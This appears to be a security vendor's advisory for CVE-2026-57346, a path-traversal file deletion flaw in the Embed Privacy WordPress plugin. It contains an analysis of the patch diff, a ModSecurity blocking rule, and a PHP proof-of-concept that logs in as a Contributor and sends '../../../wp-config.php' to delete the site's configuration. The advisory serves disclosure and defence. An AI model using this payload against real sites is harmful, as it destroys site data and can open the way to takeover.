How does the arbitrary file deletion work?

The vulnerability exists in the delete() method of the thumbnail handling class. The function accepts a filename parameter without sanitizing it. An attacker can supply a path traversal string like ‘../../../wp-config.php’ as the filename, causing the file_exists() check to resolve outside the intended thumbnail directory and delete the targeted file.

Who is affected by this vulnerability?

Any WordPress site running the Embed Privacy plugin version 1.12.3 or earlier is affected. The vulnerability can be exploited by any authenticated user with at least Contributor-level permissions, including Contributors, Authors, Editors, and Administrators.

How can I check if my site is vulnerable?

Check the version of the Embed Privacy plugin in the WordPress admin dashboard under Plugins. If the version is 1.12.3 or lower, your site is vulnerable. Alternatively, review the file /embed-privacy/inc/thumbnail/class-thumbnail.php to see if the delete() function uses basename() on the filename parameter.

What is the CVSS score and what does it mean?

The CVSS score is 8.1, which is classified as High severity. This indicates that the vulnerability is relatively easy to exploit, requires low privileges, and can lead to significant impact such as remote code execution by deleting critical files like wp-config.php.

What files can an attacker delete?

An attacker can delete any file on the server that the web server user has write permissions to. Common targets include wp-config.php, .htaccess files, plugin or theme files, and other configuration files. Deleting wp-config.php can force a WordPress reinstallation, potentially allowing the attacker to inject malicious configuration.

How was the vulnerability fixed in version 1.12.4?

The fix adds a single line of code: $filename = basename( $filename ); before the file existence check in the delete() function. The basename() function strips directory components from the filename, preventing path traversal. This ensures that only files within the designated thumbnail directory can be deleted.

How do I update the Embed Privacy plugin?

Update the plugin to version 1.12.4 or later from the WordPress admin dashboard under Plugins. If the automatic update is not available, download the latest version from the WordPress plugin repository and install it manually. Always test updates in a staging environment first.

What temporary mitigations can I apply if I cannot update immediately?

If you cannot update the plugin, consider disabling the Embed Privacy plugin temporarily until you can apply the patch. Alternatively, restrict Contributor-level and higher user accounts to trusted individuals only. You can also use a web application firewall to block requests containing path traversal patterns.

Can this vulnerability lead to remote code execution?

Yes, deleting critical files such as wp-config.php can cause the WordPress installation to fail, potentially triggering a reinstallation process that may allow an attacker to inject malicious configuration. Deleting plugin or theme files could also disable security measures or expose other attack vectors, leading to remote code execution.

What is the CWE classification for this vulnerability?

The vulnerability is classified as CWE-22, which is Improper Limitation of a Pathname to a Restricted Directory (Path Traversal). This means the software does not properly validate user input that specifies a file path, allowing access to files outside the intended directory.

Published : July 4, 2026

CVE-2026-57346: Embed Privacy <= 1.12.3 Authenticated (Contributor+) Arbitrary File Deletion PoC, Patch Analysis & Rule

Q: What is CVE-2026-57346?

CVE-2026-57346 is a high-severity vulnerability in the Embed Privacy plugin for WordPress, versions up to and including 1.12.3. It allows authenticated attackers with Contributor-level access or higher to delete arbitrary files on the server due to insufficient file path validation in the thumbnail deletion function.

Q: How does the proof of concept demonstrate the vulnerability?

The proof of concept script authenticates as a Contributor-level user and sends a crafted request to the vulnerable endpoint with a filename parameter containing path traversal sequences. It demonstrates that an attacker can delete a file like wp-config.php by exploiting the insufficient validation in the delete() function.

CVE ID CVE-2026-57346

Plugin embed-privacy

Severity High (CVSS 8.1)

CWE 22

Vulnerable Version 1.12.3

Patched Version 1.12.4

Disclosed June 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57346: This vulnerability allows authenticated attackers with Contributor-level access and above to delete arbitrary files on the WordPress server. The flaw exists in the Embed Privacy plugin versions up to and including 1.12.3. The CVSS score is 8.1, indicating high severity.

The root cause is insufficient file path validation in the `delete()` method of the thumbnail handling class. The vulnerable code is in `/embed-privacy/inc/thumbnail/class-thumbnail.php`. The `delete()` function accepts a `$filename` parameter and then checks if the file exists in the expected directory. However, before the patch, the function does not sanitize the `$filename` parameter. An attacker could pass a path traversal string like `../../../wp-config.php` as the filename. The `file_exists()` check would then resolve this path, potentially allowing deletion of files outside the intended thumbnail directory.

Exploitation requires an authenticated user with Contributor-level or higher permissions. The attacker needs to find an endpoint that calls the `delete()` method with a user-controlled `$filename` parameter. While the exact AJAX action is not shown in this diff, the vulnerable flow typically involves a function that accepts a filename from a POST or GET request and passes it directly to `Thumbnail::delete()`. The attacker would craft a request with a `filename` parameter containing path traversal sequences (e.g., `../../../wp-config.php`).

The patch adds a single line: `$filename = basename( $filename );` before the file existence check. The `basename()` function strips any directory components from the filename, effectively removing path traversal sequences. If an attacker passes `../../../wp-config.php`, after `basename()` it becomes just `wp-config.php`. This ensures the file lookup only occurs within the designated thumbnail directory. The patch also modifies the `save_fields()` method signature to remove the unused `$post` parameter, though this change is primarily for code quality.

Successful exploitation could lead to remote code execution. By deleting critical files like `wp-config.php`, the attacker can cause the WordPress installation to fail, potentially triggering a reinstallation process that may allow the attacker to inject malicious configuration. More directly, deleting specific plugin or theme files could disable security measures, or deleting `.htaccess` files could expose other attack surfaces. In the worst case, deleting the main plugin file could trigger WordPress error handlers that lead to code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/embed-privacy/embed-privacy.php
+++ b/embed-privacy/embed-privacy.php
@@ -5,14 +5,14 @@
 Plugin Name:		Embed Privacy
 Plugin URL:			https://epiph.yt/en/embed-privacy/
 Description:		Embed Privacy prevents from loading external embeds directly and lets the user control which one should be loaded.
-Version:			1.12.3
+Version:			1.12.4
 Author:				Epiphyt
 Author URI:			https://epiph.yt/en/
 License:			GPL2
 License URI:		https://www.gnu.org/licenses/gpl-2.0.html
 Requires at least:	5.9
 Requires PHP:		5.6
-Tested up to:		6.9
+Tested up to:		7.0
 Text Domain:		embed-privacy

 Embed Privacy is free software: you can redistribute it and/or modify
@@ -44,7 +44,7 @@

 define( 'EPI_EMBED_PRIVACY_FILE', EPI_EMBED_PRIVACY_BASE . basename( __FILE__ ) );
 define( 'EPI_EMBED_PRIVACY_URL', plugin_dir_url( EPI_EMBED_PRIVACY_FILE ) );
-define( 'EMBED_PRIVACY_VERSION', '1.12.3' );
+define( 'EMBED_PRIVACY_VERSION', '1.12.4' );

 if ( ! class_exists( 'DOMDocument' ) ) {
 	/**
--- a/embed-privacy/inc/admin/class-user-interface.php
+++ b/embed-privacy/inc/admin/class-user-interface.php
@@ -36,7 +36,7 @@
 		return array_merge(
 			$input,
 			[
-				'<a href="https://epiph.yt/en/embed-privacy/documentation/?version=' . rawurlencode( EMBED_PRIVACY_VERSION ) . '" target="_blank" rel="noopener noreferrer">' . esc_html__( 'Documentation', 'embed-privacy' ) . '</a>',
+				'<a href="https://docs.epiph.yt/embed-privacy/?version=' . rawurlencode( EMBED_PRIVACY_VERSION ) . '" target="_blank" rel="noopener noreferrer">' . esc_html__( 'Documentation', 'embed-privacy' ) . '</a>',
 			]
 		);
 	}
--- a/embed-privacy/inc/class-fields.php
+++ b/embed-privacy/inc/class-fields.php
@@ -224,7 +224,7 @@
 	 * @param	int			$post_id The ID of the post
 	 * @param	WP_Post	$post The post object
 	 */
-	public function save_fields( $post_id, $post ) {
+	public function save_fields( $post_id, $post ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed
 		_doing_it_wrong(
 			__METHOD__,
 			sprintf(
@@ -234,7 +234,7 @@
 			),
 			'1.10.0'
 		);
-		Embed_Privacy::get_instance()->fields->save( $post_id, $post );
+		Embed_Privacy::get_instance()->fields->save( $post_id );
 	}

 	/**
--- a/embed-privacy/inc/thumbnail/class-thumbnail.php
+++ b/embed-privacy/inc/thumbnail/class-thumbnail.php
@@ -185,6 +185,8 @@
 	 */
 	private static function delete( $filename ) {
 		$directory = self::get_directory();
+		// make sure to remove all sub-paths from the filename
+		$filename = basename( $filename );

 		if ( ! file_exists( $directory['base_dir'] . '/' . $filename ) ) {
 			return;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-57346
# Target: Embed Privacy plugin AJAX handler for thumbnail deletion
# Blocks path traversal attempts in the filename parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57346 Embed Privacy File Deletion via AJAX',severity:'CRITICAL',tag:'CVE-2026-57346'"
SecRule ARGS_POST:action "@streq embed_privacy_delete_thumbnail" "chain"
SecRule ARGS_POST:filename "@rx ../(../)+" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57346 - Embed Privacy <= 1.12.3 - Authenticated (Contributor+) Arbitrary File Deletion

$target_url = 'http://example.com'; // Change this to the target WordPress installation
$username = 'attacker'; // Change to a Contributor-level or higher user
$password = 'password'; // Change to the user's password

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$post_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Send the malicious request to trigger file deletion
// The exact endpoint and parameter name depend on the plugin's implementation.
// This PoC assumes an AJAX action or direct parameter passing to the vulnerable delete function.
// We attempt to delete wp-config.php using path traversal.

$delete_url = $target_url . '/wp-admin/admin-ajax.php'; // Assuming an AJAX handler
$delete_data = [
    'action' => 'embed_privacy_delete_thumbnail', // Hypothetical action name - may need adjustment
    'filename' => '../../../wp-config.php' // Path traversal payload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $delete_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Exploit attempt completed. Check if wp-config.php was deleted on the target.n";
echo "Response:n" . $response . "n";

// Clean up
unlink('/tmp/cookies.txt');

Frequently Asked Questions

What is CVE-2026-57346?
Vulnerability overview
CVE-2026-57346 is a high-severity vulnerability in the Embed Privacy plugin for WordPress, versions up to and including 1.12.3. It allows authenticated attackers with Contributor-level access or higher to delete arbitrary files on the server due to insufficient file path validation in the thumbnail deletion function.
How does the arbitrary file deletion work?
Exploitation mechanism
The vulnerability exists in the delete() method of the thumbnail handling class. The function accepts a filename parameter without sanitizing it. An attacker can supply a path traversal string like ‘../../../wp-config.php’ as the filename, causing the file_exists() check to resolve outside the intended thumbnail directory and delete the targeted file.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the Embed Privacy plugin version 1.12.3 or earlier is affected. The vulnerability can be exploited by any authenticated user with at least Contributor-level permissions, including Contributors, Authors, Editors, and Administrators.
How can I check if my site is vulnerable?
Detection steps
Check the version of the Embed Privacy plugin in the WordPress admin dashboard under Plugins. If the version is 1.12.3 or lower, your site is vulnerable. Alternatively, review the file /embed-privacy/inc/thumbnail/class-thumbnail.php to see if the delete() function uses basename() on the filename parameter.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 8.1, which is classified as High severity. This indicates that the vulnerability is relatively easy to exploit, requires low privileges, and can lead to significant impact such as remote code execution by deleting critical files like wp-config.php.
What files can an attacker delete?
Potential targets
An attacker can delete any file on the server that the web server user has write permissions to. Common targets include wp-config.php, .htaccess files, plugin or theme files, and other configuration files. Deleting wp-config.php can force a WordPress reinstallation, potentially allowing the attacker to inject malicious configuration.
How was the vulnerability fixed in version 1.12.4?
Patch details
The fix adds a single line of code: $filename = basename( $filename ); before the file existence check in the delete() function. The basename() function strips directory components from the filename, preventing path traversal. This ensures that only files within the designated thumbnail directory can be deleted.
How do I update the Embed Privacy plugin?
Updating instructions
Update the plugin to version 1.12.4 or later from the WordPress admin dashboard under Plugins. If the automatic update is not available, download the latest version from the WordPress plugin repository and install it manually. Always test updates in a staging environment first.
What temporary mitigations can I apply if I cannot update immediately?
Workarounds
If you cannot update the plugin, consider disabling the Embed Privacy plugin temporarily until you can apply the patch. Alternatively, restrict Contributor-level and higher user accounts to trusted individuals only. You can also use a web application firewall to block requests containing path traversal patterns.
How does the proof of concept demonstrate the vulnerability?
PoC explanation
The proof of concept script authenticates as a Contributor-level user and sends a crafted request to the vulnerable endpoint with a filename parameter containing path traversal sequences. It demonstrates that an attacker can delete a file like wp-config.php by exploiting the insufficient validation in the delete() function.
Can this vulnerability lead to remote code execution?
Impact escalation
Yes, deleting critical files such as wp-config.php can cause the WordPress installation to fail, potentially triggering a reinstallation process that may allow an attacker to inject malicious configuration. Deleting plugin or theme files could also disable security measures or expose other attack vectors, leading to remote code execution.
What is the CWE classification for this vulnerability?
CWE details
The vulnerability is classified as CWE-22, which is Improper Limitation of a Pathname to a Restricted Directory (Path Traversal). This means the software does not properly validate user input that specifies a file path, allowing access to files outside the intended directory.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started